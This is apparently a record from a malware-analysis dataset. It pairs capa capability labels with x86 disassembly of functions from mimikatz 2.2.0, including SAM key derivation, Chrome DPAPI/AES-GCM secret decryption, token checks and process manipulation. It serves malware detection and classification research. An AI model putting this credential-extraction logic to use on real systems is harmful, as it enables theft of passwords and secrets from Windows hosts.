joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40f58c
Capabilities:
Decode data using base64 via winapi

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 0xc]
push esi
push edi
mov edi, dword [sym.imp.CRYPT32.dll_CryptStringToBinaryW]
xor esi, esi
push esi
push esi
push ebx
push esi
push 1
push esi
push dword [ebp + 8]
mov dword [eax], esi
mov dword [ebp - 4], esi
mov dword [ebx], esi
call edi
test eax, eax
je 0x40f5e7
push dword [ebx]
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov ecx, dword [ebp + 0xc]
mov dword [ecx], eax
cmp eax, esi
je 0x40f5e7
push esi
push esi
push ebx
push eax
push 1
push esi
push dword [ebp + 8]
call edi
mov dword [ebp - 4], eax
cmp eax, esi
jne 0x40f5e7
mov esi, dword [ebp + 0xc]
push dword [esi]
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov dword [esi], eax
mov eax, dword [ebp - 4]
pop edi
pop esi
leave
ret

Function at 0x40f677
Capabilities:
Decode data using base64 via winapi

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
push dword [ebp + 8]
xor ebx, ebx
mov dword [ebp - 8], ebx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov esi, eax
and eax, 3
lea eax, [eax + esi + 1]
push eax
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [ebp - 4], eax
cmp eax, ebx
je 0x40f745
push esi
push dword [ebp + 8]
push eax
call sub.msvcrt.dll_memcpy
add esp, 0xc
xor edx, edx
cmp esi, ebx
jbe 0x40f6e3
mov eax, dword [ebp - 4]
add eax, edx
mov cl, byte [eax]
cmp cl, 0x2d
jne 0x40f6cd
mov byte [eax], 0x2b
jmp 0x40f6de
cmp cl, 0x5f
jne 0x40f6d7
mov byte [eax], 0x2f
jmp 0x40f6de
cmp cl, bl
jne 0x40f6de
mov byte [eax], 0x3d
inc edx
cmp edx, esi
jb 0x40f6bc
mov eax, dword [ebp + 0xc]
mov esi, dword [sym.imp.CRYPT32.dll_CryptStringToBinaryA]
push ebx
push ebx
push edi
push ebx
push 1
push ebx
push dword [ebp - 4]
mov dword [ebp - 8], ebx
mov dword [eax], ebx
mov dword [edi], ebx
call esi
test eax, eax
je 0x40f736
push dword [edi]
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov ecx, dword [ebp + 0xc]
mov dword [ecx], eax
cmp eax, ebx
je 0x40f736
push ebx
push ebx
push edi
push eax
push 1
push ebx
push dword [ebp - 4]
call esi
mov dword [ebp - 8], eax
cmp eax, ebx
jne 0x40f736
mov esi, dword [ebp + 0xc]
push dword [esi]
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov dword [esi], eax
mov eax, dword [ebp - 8]
push dword [ebp - 4]
mov dword [ebp - 8], eax
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov eax, dword [ebp - 8]
pop esi
pop ebx
leave
ret
Function at 0x40f74c
Capabilities:
Encode data using base64 via winapi

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, dword [sym.imp.CRYPT32.dll_CryptBinaryToStringA]
push edi
lea eax, [ebp - 4]
push eax
xor ebx, ebx
push ebx
mov edi, 0x40000001
push edi
push dword [ebp + 0xc]
mov dword [ebp - 4], ebx
push dword [ebp + 8]
call esi
test eax, eax
je 0x40f7aa
push dword [ebp - 4]
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov ecx, dword [ebp + 0x10]
mov dword [ecx], eax
test eax, eax
je 0x40f7aa
lea ecx, [ebp - 4]
push ecx
push eax
push edi
push dword [ebp + 0xc]
push dword [ebp + 8]
call esi
mov ebx, eax
test ebx, ebx
jne 0x40f7aa
mov esi, dword [ebp + 0x10]
push dword [esi]
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov dword [esi], eax
pop edi
pop esi
mov eax, ebx
pop ebx
leave
ret

Function at 0x40f809
Capabilities:
Encode data using base64 via winapi

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push esi
mov esi, dword [sym.imp.CRYPT32.dll_CryptBinaryToStringA]
push edi
xor eax, eax
lea ecx, [ebp - 4]
push ecx
push eax
mov edi, SysReAllocString
push edi
push dword [ebp + 0x10]
mov dword [ebp - 8], eax
push dword [ebp + 0xc]
mov dword [ebp - 4], eax
call esi
test eax, eax
je 0x40f87b
push ebx
push dword [ebp - 4]
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov ebx, eax
test ebx, ebx
je 0x40f87a
lea eax, [ebp - 4]
push eax
push ebx
push edi
push dword [ebp + 0x10]
push dword [ebp + 0xc]
call esi
test eax, eax
je 0x40f873
push dword [ebp + 8]
mov edi, dword [ebp + 0x14]
push ebx
push dword [ebp + 8]
push str._____BEGIN__s______n_s_____END__s______n
call fcn.0040f8d8
add esp, 0x10
mov dword [ebp - 8], eax
push ebx
call dword [sym.imp.KERNEL32.dll_LocalFree]
pop ebx
mov eax, dword [ebp - 8]
pop edi
pop esi
leave
ret
Function at 0x40fbef
Capabilities:
Get token membership

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
push edi
lea eax, [ebp - 0xc]
push eax
push 4
lea eax, [ebp - 8]
push eax
push 8
push dword [ebp + 8]
xor ebx, ebx
xor esi, esi
call dword [sym.imp.ADVAPI32.dll_GetTokenInformation]
test eax, eax
je 0x40fc8b
cmp dword [ebp - 8], 1
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
jne 0x40fc4c
lea eax, [ebp - 4]
push eax
push 2
push 1
push esi
push 8
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_DuplicateTokenEx]
mov esi, eax
test esi, esi
jne 0x40fc58
call edi
push eax
push str.ERROR_kull_m_token_CheckTokenMembership___DuplicateTokenEx__0x_08x__n
call fcn.00409709
pop ecx
pop ecx
jmp 0x40fc52
mov eax, dword [ebp + 8]
mov dword [ebp - 4], eax
cmp dword [ebp - 8], 1
je 0x40fc9e
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_CheckTokenMembership]
mov ebx, eax
test ebx, ebx
jne 0x40fc7c
call edi
push eax
push str.ERROR_kull_m_token_CheckTokenMembership___CheckTokenMembership__0x_08x__n
call fcn.00409709
pop ecx
pop ecx
test esi, esi
je 0x40fc9e
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x40fc9e
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.ERROR_kull_m_token_CheckTokenMembership___GetTokenInformation__0x_08x__n
call fcn.00409709
pop ecx
pop ecx
pop edi
pop esi
mov eax, ebx
pop ebx
leave
ret

Function at 0x40fd61
Capabilities:
Get user security identifier

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
xor eax, eax
mov dword [ebp - 0x10], eax
cmp ecx, eax
jne 0x40fd73
lea ecx, [ebp - 0x14]
push edi
mov edi, dword [sym.imp.ADVAPI32.dll_LookupAccountNameW]
push ecx
mov dword [ebp - 4], ecx
lea ecx, [ebp - 8]
push ecx
push eax
lea ecx, [ebp - 0xc]
push ecx
push eax
push dword [ebp + 8]
mov dword [ebp - 0xc], eax
push dword [ebp + 0x10]
mov dword [ebp - 8], eax
call edi
test eax, eax
jne 0x40fe01
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x7a
jne 0x40fe01
mov eax, dword [ebp - 0xc]
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LocalAlloc]
add eax, eax
push eax
push 0x40
call esi
mov dword [ebx], eax
test eax, eax
je 0x40fe00
mov eax, dword [ebp - 8]
add eax, eax
push eax
push 0x40
call esi
mov esi, dword [ebp + 0xc]
mov dword [esi], eax
test eax, eax
je 0x40fdf6
push dword [ebp - 4]
lea ecx, [ebp - 8]
push ecx
push eax
lea eax, [ebp - 0xc]
push eax
push dword [ebx]
push dword [ebp + 8]
push dword [ebp + 0x10]
call edi
mov dword [ebp - 0x10], eax
test eax, eax
jne 0x40fe00
push dword [esi]
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov dword [esi], eax
push dword [ebx]
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov dword [ebx], eax
pop esi
mov eax, dword [ebp - 0x10]
pop edi
leave
ret
Function at 0x465b6d
Capabilities:
Set console window title

Disassembly:
mov eax, dword [sym.imp.msvcrt.dll__iob]
push ebx
push esi
mov esi, dword [sym.imp.msvcrt.dll__fileno]
push edi
mov ebx, 0x40000
add eax, 0x20
push ebx
push eax
call esi
mov edi, dword [sym.imp.msvcrt.dll__setmode]
pop ecx
push eax
call edi
pop ecx
mov dword [0x4fe31c], eax
mov eax, dword [sym.imp.msvcrt.dll__iob]
pop ecx
add eax, 0x40
push ebx
push eax
call esi
pop ecx
push eax
call edi
pop ecx
pop ecx
mov dword [0x4fe324], eax
call dword [sym.imp.KERNEL32.dll_GetConsoleOutputCP]
push 0xfde9
mov dword [0x4fe320], eax
call dword [sym.imp.KERNEL32.dll_SetConsoleOutputCP]
push str.mimikatz_2.2.0_x86__oe.eo_
call dword [sym.imp.KERNEL32.dll_SetConsoleTitleW]
push 1
push 0x465c6c
call dword [sym.imp.KERNEL32.dll_SetConsoleCtrlHandler]
push str._n__..___mimikatz_2.2.0__x86__19041_Sep_19_2022_17:43:26_n_.__.___A_La_Vie__A_LAmour_____oe.eo__n_________Benjamin_DELPY__gentilkiwi____benjamin_gentilkiwi.com___n______________https:__blog.gentilkiwi.com_mimikatz_n__v________Vincent_LE_TOUX_______________vincent.letoux_gmail.com___n____________https:__pingcastle.com___https:__mysmartlogon.com___n
call fcn.00409709
push 1
call fcn.00465c79
pop ecx
pop ecx
pop edi
pop esi
pop ebx
ret

Function at 0x465bf4
Capabilities:
Terminate process

Disassembly:
push esi
push edi
push 0
call fcn.00465c79
pop ecx
push 0
push 0x465c6c
call dword [sym.imp.KERNEL32.dll_SetConsoleCtrlHandler]
mov eax, dword [sym.imp.msvcrt.dll__iob]
push dword [0x4fe31c]
mov esi, dword [sym.imp.msvcrt.dll__fileno]
add eax, 0x20
push eax
call esi
mov edi, dword [sym.imp.msvcrt.dll__setmode]
pop ecx
push eax
call edi
mov eax, dword [sym.imp.msvcrt.dll__iob]
pop ecx
pop ecx
push dword [0x4fe324]
add eax, 0x40
push eax
call esi
pop ecx
push eax
call edi
pop ecx
pop ecx
push dword [0x4fe320]
call dword [sym.imp.KERNEL32.dll_SetConsoleOutputCP]
cmp dword [esp + 0xc], 0xc000004b
pop edi
pop esi
push 0
jne 0x465c65
call dword [sym.imp.KERNEL32.dll_ExitThread]
call dword [sym.imp.KERNEL32.dll_ExitProcess]

Function at 0x465d3e
Capabilities:
Query environment variable

Disassembly:
push ebp
mov ebp, dword [esp + 8]
mov dword [esp + 8], 0xc0000001
test ebp, ebp
je 0x465dc3
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
push edi
push 0
push 0
push ebp
call ebx
mov edi, eax
test edi, edi
je 0x465dc1
push esi
lea eax, [edi + edi]
push eax
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov esi, eax
test esi, esi
je 0x465dc0
push edi
push esi
push ebp
call ebx
cmp edi, eax
mov edi, dword [sym.imp.KERNEL32.dll_LocalFree]
je 0x465d8b
push esi
call edi
mov esi, eax
test esi, esi
je 0x465dc0
movzx eax, word [esi]
cmp eax, 0x21
je 0x465daf
cmp eax, 0x2a
je 0x465da4
push esi
call fcn.00465dc9
jmp 0x465db8
lea eax, [esi + 2]
push eax
call fcn.004840fd
jmp 0x465db8
lea eax, [esi + 2]
push eax
call fcn.004770ff
pop ecx
push esi
mov dword [esp + 0x18], eax
call edi
pop esi
pop edi
pop ebx
mov eax, dword [esp + 8]
pop ebp
ret
Function at 0x46c111
Capabilities:
Encrypt or decrypt data via bcrypt

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c
push ebx
push esi
push edi
push 3
mov ebx, eax
pop ecx
cmp ebx, ecx
jb 0x46c202
mov esi, dword [ebp + 8]
mov edi, 0x4a14a4
xor eax, eax
repe cmpsb byte [esi], byte es:[edi]
jne 0x46c202
xor esi, esi
cmp dword [ebp + 0xc], esi
je 0x46c1f5
cmp dword [ebp + 0x10], esi
je 0x46c1f5
push str.__using_BCrypt_with_AES_256_GCM_n
call fcn.00409709
push 0x40
pop edi
push edi
lea eax, [ebp - 0x48]
push esi
push eax
call sub.msvcrt.dll_memset
mov eax, dword [ebp + 8]
add eax, 3
mov dword [ebp - 0x40], eax
lea eax, [eax + ebx - 0x13]
add esp, 0x10
add ebx, 0xffffffe1
push ebx
push edi
mov dword [ebp - 0x48], edi
mov dword [ebp - 0x44], 1
mov dword [ebp - 0x3c], 0xc
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x2c], 0x10
mov dword [ebp - 4], ebx
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov edi, eax
cmp edi, esi
je 0x46c245
mov ecx, dword [ebp - 0x3c]
push esi
lea eax, [ebp - 4]
push eax
push dword [ebp - 4]
lea eax, [ebp - 0x48]
push edi
push esi
push esi
push eax
push dword [ebp - 4]
mov eax, dword [ebp - 0x40]
add ecx, eax
push ecx
push dword [ebp + 0x10]
call sub.bcrypt.dll_BCryptDecrypt
cmp eax, esi
jl 0x46c1e5
push edi
push dword [ebp - 4]
push dword [ebp + 0x1c]
push str._s:__.S_n
call fcn.00409709
add esp, 0x10
jmp 0x46c1f2
push eax
push str.ERROR_kuhl_m_dpapi_chrome_decrypt___BCryptDecrypt:_0x_08x_n
call fcn.00409709
pop ecx
pop ecx
push edi
jmp 0x46c23f
push str.ERROR_kuhl_m_dpapi_chrome_decrypt___No_Alg_and_or_Key_handle_despite_AES_encryption_n
call fcn.00409709
pop ecx
jmp 0x46c245
xor esi, esi
push esi
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 8]
push eax
push esi
push esi
push dword [ebp + 0x18]
push dword [ebp + 0x14]
push esi
push ebx
push dword [ebp + 8]
call fcn.0046ab75
add esp, 0x28
test eax, eax
je 0x46c245
push dword [ebp - 8]
push dword [ebp - 4]
push dword [ebp + 0x1c]
push str._s:__.S_n
call fcn.00409709
add esp, 0x10
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_LocalFree]
pop edi
pop esi
pop ebx
leave
ret

Function at 0x46e5e2
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x68
push esi
push edi
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov edi, eax
lea eax, [ebp - 0x68]
push eax
call sub.cryptdll.dll_MD5Init
mov esi, 0x5b6
push edi
push dword [ebp + 8]
lea eax, [ebp - 0x68]
push eax
call sub.cryptdll.dll_MD5Update
dec esi
jne 0x46e603
lea eax, [ebp - 0x68]
push eax
call sub.cryptdll.dll_MD5Final
xor eax, eax
mov cl, byte [eax + 0x4a1424]
xor cl, byte [ebp + eax - 0x10]
mov edx, dword [ebp + 0xc]
mov byte [eax + edx], cl
inc eax
cmp eax, 0x10
jb 0x46e61e
pop edi
pop esi
leave
ret
Function at 0x46e638
Capabilities:
Encode data using xor

Disassembly:
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_lstrlenA]
push edi
mov ebx, eax
push ebx
call esi
push 0x14
pop edi
cmp eax, edi
jge 0x46e652
push ebx
call esi
mov edi, eax
lea eax, [edi + 1]
push eax
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
test eax, eax
je 0x46e67f
test edi, edi
jbe 0x46e67f
mov edx, 0x4a1434
mov esi, eax
sub edx, ebx
mov ecx, ebx
sub esi, ebx
mov bl, byte [edx + ecx]
xor bl, byte [ecx]
mov byte [esi + ecx], bl
inc ecx
dec edi
jne 0x46e673
pop edi
pop esi
pop ebx
ret
Function at 0x4770ff
Capabilities:
Accept command line arguments

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
lea eax, [ebp - 8]
push eax
push dword [ebp + 8]
xor esi, esi
mov dword [ebp - 0xc], esi
call dword [sym.imp.SHELL32.dll_CommandLineToArgvW]
mov ebx, eax
cmp ebx, esi
je 0x4771ba
cmp dword [ebp - 8], esi
jle 0x4771ba
mov dword [ebp - 4], esi
push edi
cmp word [ebp - 4], 0x13
jae 0x47718c
movzx edi, word [ebp - 4]
shl edi, 4
push dword [edi + 0x4a0f68]
push dword [ebx]
call dword [sym.imp.msvcrt.dll__wcsicmp]
mov esi, eax
neg esi
sbb esi, esi
inc esi
pop ecx
pop ecx
je 0x477185
mov eax, dword [edi + 0x4a0f60]
test eax, eax
je 0x477173
lea ecx, [ebx + 4]
push ecx
mov ecx, dword [ebp - 8]
dec ecx
push ecx
call eax
pop ecx
pop ecx
mov dword [ebp - 0xc], eax
jmp 0x477185
push 0
push 0
push dword [edi + 0x4a0f64]
call fcn.004080f6
add esp, 0xc
inc dword [ebp - 4]
test esi, esi
je 0x477130
pop edi
test esi, esi
jne 0x4771ba
mov eax, dword [ebp + 8]
lea edx, [eax + 2]
mov cx, word [eax]
inc eax
inc eax
test cx, cx
jne 0x477197
sub eax, edx
sar eax, 1
lea eax, [eax + eax + 2]
push eax
push dword [ebp + 8]
push 0x22c003
call fcn.004080f6
add esp, 0xc
mov eax, dword [ebp - 0xc]
pop esi
pop ebx
leave
ret
Function at 0x4786ed
Capabilities:
Encrypt data using rc4 via systemfunction033

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x94
push ebx
push esi
push edi
push 0x10
pop ebx
lea eax, [ebp - 0x38]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0x14]
xor esi, esi
push str._nSAMKey_:
mov dword [ebp - 4], esi
mov dword [ebp - 0x28], ebx
mov dword [ebp - 0x24], ebx
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x14], eax
call fcn.00409709
push esi
push 0x4d5988
push esi
push dword [ebp + 0xc]
lea edi, [ebp - 8]
push dword [ebp + 8]
call fcn.0040be39
add esp, 0x18
test eax, eax
je 0x47886b
mov esi, dword [ebp - 8]
movzx eax, word [esi]
lea ecx, [eax - 2]
cmp ecx, 1
ja 0x478860
mov eax, dword [esi + 0x68]
mov ecx, eax
dec ecx
je 0x4787c5
dec ecx
je 0x478772
push eax
push str.ERROR_kuhl_m_lsadump_getSamKey___Unknow_Struct_Key_revision___u_
call fcn.00409709
pop ecx
pop ecx
jmp 0x478857
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0xc]
push eax
push dword [esi + 0x74]
lea eax, [esi + 0x88]
push eax
lea eax, [esi + 0x78]
push eax
push dword [ebp + 0x10]
call fcn.00403f72
add esp, 0x18
test eax, eax
je 0x478857
xor eax, eax
cmp dword [ebp - 0x10], ebx
sete al
mov dword [ebp - 4], eax
test eax, eax
je 0x4787b7
mov esi, dword [ebp - 0xc]
mov edi, dword [ebp + 0x14]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov esi, dword [ebp - 8]
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_LocalFree]
jmp 0x478857
lea eax, [ebp - 0x90]
push eax
call sub.cryptdll.dll_MD5Init
push ebx
lea eax, [esi + 0x70]
push eax
lea eax, [ebp - 0x90]
push eax
call sub.cryptdll.dll_MD5Update
push 0x2f
push str.______qwertyUIOPAzxcvbnmQQQQQQQQQQQQ____
lea eax, [ebp - 0x90]
push eax
call sub.cryptdll.dll_MD5Update
push ebx
push dword [ebp + 0x10]
lea eax, [ebp - 0x90]
push eax
call sub.cryptdll.dll_MD5Update
push 0x29
push str.0123456789012345678901234567890123456789
lea eax, [ebp - 0x90]
push eax
call sub.cryptdll.dll_MD5Update
lea eax, [ebp - 0x90]
push eax
call sub.cryptdll.dll_MD5Final
mov edi, dword [ebp + 0x14]
sub esi, 0xffffff80
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
lea eax, [ebp - 0x28]
movsd dword es:[edi], dword [esi]
push eax
lea eax, [ebp - 0x1c]
push eax
movsd dword es:[edi], dword [esi]
call sub.ADVAPI32.dll_SystemFunction033
xor ecx, ecx
test eax, eax
setge cl
mov dword [ebp - 4], ecx
test ecx, ecx
jne 0x478854
push str.ERROR_kuhl_m_lsadump_getSamKey___RtlDecryptData2_KO
call fcn.00409709
pop ecx
mov esi, dword [ebp - 8]
push esi
call dword [sym.imp.KERNEL32.dll_LocalFree]
jmp 0x478876
push eax
push str.ERROR_kuhl_m_lsadump_getSamKey___Unknow_F_revision___hu_
jmp 0x478766
push str.ERROR_kuhl_m_lsadump_getSamKey___kull_m_registry_OpenAndQueryWithAlloc_KO
call fcn.00409709
pop ecx
cmp dword [ebp - 4], 0
je 0x478889
push ebx
push dword [ebp + 0x14]
xor eax, eax
call fcn.0040efba
pop ecx
pop ecx
push 0x49ed98
call fcn.00409709
mov eax, dword [ebp - 4]
pop ecx
pop edi
pop esi
pop ebx
leave
ret
Function at 0x48234e
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov ecx, dword [ebp + 0x10]
push esi
xor esi, esi
sub ecx, esi
mov eax, 0xc0000225
push edi
mov dword [ebp - 4], eax
je 0x48238d
dec ecx
je 0x48237f
dec ecx
jne 0x482450
mov edi, 0x800
mov dword [ebp - 8], 0x4e0f90
jmp 0x482397
mov edi, 0x800
mov dword [ebp - 8], 0x4e0f6c
jmp 0x482397
xor edi, edi
inc edi
mov dword [ebp - 8], 0x4e0f44
push ebx
push esi
lea eax, [ebp - 0xc]
push eax
push 0x4d394c
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.0040f224
add esp, 0x14
test eax, eax
je 0x482441
push esi
push esi
push dword [ebp - 0xc]
call dword [sym.imp.msvcrt.dll_wcstoul]
mov ebx, eax
add esp, 0xc
cmp ebx, esi
je 0x482441
push ebx
push esi
push edi
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov edi, eax
cmp edi, esi
je 0x48242d
mov eax, dword [ebp + 0x10]
sub eax, esi
je 0x4823f8
dec eax
je 0x4823f0
dec eax
jne 0x482411
push edi
call sub.ntdll.dll_NtResumeProcess
jmp 0x4823ff
push edi
call sub.ntdll.dll_NtSuspendProcess
jmp 0x4823ff
push esi
push edi
call sub.ntdll.dll_NtTerminateProcess
cmp eax, esi
mov dword [ebp - 4], eax
jl 0x482411
push ebx
push dword [ebp - 8]
push str._s_of__u_PID_:_OK___n
jmp 0x48241c
push dword [ebp - 4]
push dword [ebp - 8]
push str.ERROR_kuhl_m_process_genericOperation____s_0x_08x_n
call fcn.00409709
add esp, 0xc
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x48244c
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.ERROR_kuhl_m_process_genericOperation___OpenProcess__0x_08x__n
call fcn.00409709
pop ecx
jmp 0x48244b
push str.ERROR_kuhl_m_process_genericOperation___pid___pid:123__is_missing
call fcn.00409709
pop ecx
mov eax, dword [ebp - 4]
pop ebx
pop edi
pop esi
leave
ret
Function at 0x4826cd
Capabilities:
Create pipe
Create process on windows
Read file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1084
call fcn.0049ddb0
push ebx
push esi
push edi
xor esi, esi
push 0x40
xor ebx, ebx
lea eax, [ebp - 0x7c]
push esi
inc ebx
push eax
mov dword [ebp - 0x18], esi
mov dword [ebp - 0x34], 0xc
mov dword [ebp - 0x30], esi
mov dword [ebp - 0x2c], ebx
mov dword [ebp - 0x80], esi
call sub.msvcrt.dll_memset
push dword [ebp + 8]
mov dword [ebp - 0x28], esi
xor eax, eax
lea edi, [ebp - 0x24]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
mov dword [ebp - 4], esi
mov dword [ebp - 0x10], esi
call dword [sym.imp.msvcrt.dll__wcsdup]
add esp, 0x10
mov dword [ebp - 0x14], eax
cmp eax, esi
je 0x482869
push esi
lea eax, [ebp - 0x34]
push eax
lea eax, [ebp - 0x44]
push eax
lea eax, [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_CreatePipe]
test eax, eax
je 0x48285f
push esi
push ebx
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_SetHandleInformation]
mov eax, dword [ebp - 0x44]
or dword [ebp - 0x54], 0x100
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 0x80], 0x44
mov dword [ebp - 0x40], eax
cmp dword [ebp + 0xc], esi
je 0x482797
push esi
push dword [ebp + 0xc]
lea eax, [ebp - 0x10]
push eax
call sub.USERENV.dll_CreateEnvironmentBlock
test eax, eax
jne 0x482797
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.ERROR_kull_m_process_run_data___CreateEnvironmentBlock__0x_08x__n
call fcn.00409709
pop ecx
pop ecx
jmp 0x482850
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x80]
push eax
push esi
push dword [ebp - 0x10]
push 0x8000400
push ebx
push esi
push esi
push dword [ebp - 0x14]
push esi
push dword [ebp + 0xc]
call dword [sym.imp.ADVAPI32.dll_CreateProcessAsUserW]
mov dword [ebp - 0x18], eax
cmp eax, esi
je 0x482830
push dword [ebp - 0x44]
call edi
mov ebx, dword [sym.imp.KERNEL32.dll_ReadFile]
mov dword [ebp - 0x40], esi
mov dword [ebp - 0x44], esi
jmp 0x4827ff
cmp dword [ebp - 0xc], esi
je 0x482819
mov dword [ebp - 8], esi
jbe 0x4827ff
mov eax, dword [ebp - 8]
movzx eax, byte [ebp + eax - 0x1080]
push eax
push 0x4b3d60
call fcn.00409709
inc dword [ebp - 8]
mov eax, dword [ebp - 8]
pop ecx
pop ecx
cmp eax, dword [ebp - 0xc]
jb 0x4827dc
push esi
lea eax, [ebp - 0xc]
push eax
push 0x1000
lea eax, [ebp - 0x1080]
push eax
push dword [ebp - 4]
call ebx
test eax, eax
jne 0x4827d2
push 0xffffffffffffffff
push dword [ebp - 0x28]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [ebp - 0x24]
call edi
push dword [ebp - 0x28]
call edi
jmp 0x482843
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.ERROR_kull_m_process_run_data___CreateProcessAsUser__0x_08x__n
call fcn.00409709
pop ecx
pop ecx
cmp dword [ebp - 0x10], esi
je 0x482850
push dword [ebp - 0x10]
call sub.USERENV.dll_DestroyEnvironmentBlock
push dword [ebp - 4]
call edi
cmp dword [ebp - 0x44], esi
je 0x48285f
push dword [ebp - 0x44]
call edi
push dword [ebp - 0x14]
call dword [sym.imp.msvcrt.dll_free]
pop ecx
mov eax, dword [ebp - 0x18]
pop edi
pop esi
pop ebx
leave
ret